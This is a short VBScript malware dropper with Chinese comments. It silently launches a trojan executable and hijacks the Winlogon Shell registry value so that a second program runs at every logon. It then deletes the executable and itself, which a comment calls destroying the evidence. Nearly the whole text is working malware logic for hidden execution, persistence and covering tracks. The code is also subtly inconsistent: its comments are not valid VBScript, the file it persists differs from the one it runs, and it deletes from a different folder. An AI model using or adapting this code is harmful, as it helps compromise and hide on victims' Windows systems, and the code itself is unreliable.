dim wsh

    set wsh=CreateObject("WScript.Shell")

    wsh.run "%windir%\flumasko.exe",0 //運(yùn)行木馬程序

    set sm=Wscript.CreateObject("WScript.Shell")

    sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"

    //寫進(jìn)注冊(cè)表項(xiàng)實(shí)現(xiàn)自啓動(dòng)

    set WshShell=WScript.CreateObject("WScript.Shell")

    WScript.Sleep 2000

    //等木馬的執(zhí)行完畢

    Set fso=CreateObject("Scripting.FileSystemObject")

    f=fso.DeleteFile ("flumasko.exe")

    f=fso.DeleteFile (WScript.ScriptName)

    //毀屍滅跡